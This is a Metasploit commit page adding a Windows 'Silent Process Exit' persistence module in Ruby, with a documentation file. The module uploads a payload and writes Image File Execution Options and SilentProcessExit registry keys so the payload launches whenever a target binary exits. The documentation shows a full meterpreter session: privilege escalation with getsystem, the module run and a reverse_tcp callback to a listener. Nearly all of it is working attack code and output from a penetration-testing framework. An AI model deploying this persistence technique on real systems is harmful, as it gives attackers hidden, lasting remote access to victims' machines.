Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #12375, Add image execute options persistence module
- Loading branch information
1 parent
8d8622c
commit 2b00734
Showing
2 changed files
with
207 additions
and
0 deletions.
There are no files selected for viewing
93 changes: 93 additions & 0 deletions
93
documentation/modules/exploit/windows/local/persistence_image_exec_options.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,93 @@ | ||
## Description | ||
|
||
This module leverages Windows debugging tools to cause a payload to launch | ||
every time a specified binary exits. | ||
|
||
The payload will execute at the same priv level as the launched binary. | ||
|
||
## Vulnerable Target | ||
|
||
Windows 7+ as elevated user | ||
|
||
## Verification Steps | ||
``` | ||
[*] Meterpreter session 8 opened (192.168.135.168:5555 -> 192.168.132.125:49675) at 2019-09-30 16:24:30 -0500 | ||
meterpreter > sysinfo | ||
Computer : DESKTOP-D1E425Q | ||
OS : Windows 10 (10.0 Build 17134). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x64/windows | ||
meterpreter > getsystem | ||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). | ||
meterpreter > background | ||
[*] Backgrounding session 8... | ||
msf5 exploit(multi/handler) > use exploit/windows/local/persistence_image_exec_options | ||
msf5 exploit(windows/local/persistence_image_exec_options) > set image_file notepad.exe | ||
image_file => notepad.exe | ||
msf5 exploit(windows/local/persistence_image_exec_options) > set session 8 | ||
session => 8 | ||
msf5 exploit(windows/local/persistence_image_exec_options) > run | ||
[*] Attempting Persistence on DESKTOP-D1E425Q via session ID: 8 | ||
[*] Payload pathname = C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe | ||
[*] Writing GlobalFlag to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe | ||
[*] Writing ReportingMode to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe | ||
[*] Writing MonitorProcess to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe | ||
[*] Payload (7168 bytes) uploaded on DESKTOP-D1E425Q to C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe | ||
msf5 exploit(windows/local/persistence_image_exec_options) > show options | ||
Module options (exploit/windows/local/persistence_image_exec_options): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
IMAGE_FILE notepad.exe yes Binary to "debug" | ||
PATH no Path to write binaries if if USE_INJECTION=false(%TEMP% by default). | ||
PAYLOAD_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default). | ||
SESSION 8 yes The session to run this module on. | ||
Payload options (windows/x64/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) | ||
LHOST 192.168.135.168 yes The listen address (an interface may be specified) | ||
LPORT 4545 yes The listen port | ||
**DisablePayloadHandler: True (RHOST and RPORT settings will be ignored!)** | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 Automatic | ||
msf5 exploit(windows/local/persistence_image_exec_options) > | ||
``` | ||
In another window, start a listener and then launch notepad.exe on the target. | ||
Close notepad.exe and you should get a callback: | ||
|
||
``` | ||
msf5 exploit(multi/handler) > run | ||
[*] Started reverse TCP handler on 192.168.135.168:4545 | ||
[*] Sending stage (206403 bytes) to 192.168.132.125 | ||
[*] Meterpreter session 3 opened (192.168.135.168:4545 -> 192.168.132.125:49679) at 2019-09-30 16:25:49 -0500 | ||
meterpreter > sysinfo | ||
Computer : DESKTOP-D1E425Q | ||
OS : Windows 10 (10.0 Build 17134). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x64/windows | ||
meterpreter > | ||
``` |
114 changes: 114 additions & 0 deletions
114
modules/exploits/windows/local/persistence_image_exec_options.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,114 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core/post/file' | ||
require 'msf/core/exploit/exe' | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Post::Windows::Registry | ||
include Msf::Post::File | ||
include Msf::Exploit::EXE | ||
include Msf::Post::Windows::Priv | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Windows Silent Process Exit Persistence', | ||
'Description' => %q( | ||
Windows allows you to set up a debug process when a process exits. | ||
This module uploads a payload and declares that it is the debug | ||
process to launch when a specified process exits. | ||
), | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Mithun Shanbhag', # earliest author found | ||
'bwatters-r7', # msf module | ||
], | ||
'Platform' => [ 'win' ], | ||
'SessionTypes' => [ 'meterpreter', 'shell' ], | ||
'Targets' => | ||
[ | ||
[ 'Automatic', {} ] | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => "Jun 28 2008", | ||
'References' => | ||
[ | ||
['URL', 'https://attack.mitre.org/techniques/T1183/'], | ||
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/'] | ||
], | ||
'DefaultOptions' => | ||
{ | ||
'DisablePayloadHandler' => 'true' | ||
} | ||
)) | ||
register_options([ | ||
OptString.new('PAYLOAD_NAME', | ||
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), | ||
OptString.new('PATH', [false, 'Path to write payload(%TEMP% by default).', nil]), | ||
OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil]) | ||
|
||
]) | ||
end | ||
|
||
def upload_payload(dest_pathname) | ||
payload_exe = generate_payload_exe | ||
write_file(dest_pathname, payload_exe) | ||
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}") | ||
end | ||
|
||
def validate_active_host | ||
unless is_system? | ||
fail_with(Failure::NoAccess, "You must be System to run this Module") | ||
end | ||
|
||
begin | ||
print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") | ||
rescue Rex::Post::Meterpreter::RequestError => e | ||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") | ||
raise Msf::Exploit::Failed, 'Could not connect to session' | ||
end | ||
end | ||
|
||
def write_reg_keys(image_file, payload_pathname) | ||
reg_keys = [] | ||
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}", | ||
value_name: "GlobalFlag", | ||
type: "REG_DWORD", | ||
value_value: 512) | ||
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}", | ||
value_name: "ReportingMode", | ||
type: "REG_DWORD", | ||
value_value: 1) | ||
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}", | ||
value_name: "MonitorProcess", | ||
type: "REG_SZ", | ||
value_value: payload_pathname) | ||
silent_process_exit_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit" | ||
registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key) | ||
reg_keys.each do |key| | ||
registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name]) | ||
vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}") | ||
registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type]) | ||
unless registry_getvalinfo(key[:key_name], key[:value_name]) | ||
print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}") | ||
return false | ||
end | ||
end | ||
end | ||
|
||
def exploit | ||
validate_active_host | ||
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) | ||
temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') | ||
image_file = datastore['IMAGE_FILE'] | ||
payload_pathname = temp_path + "\\" + payload_name + '.exe' | ||
vprint_status("Payload pathname = #{payload_pathname}") | ||
upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname) | ||
end | ||
end | ||
|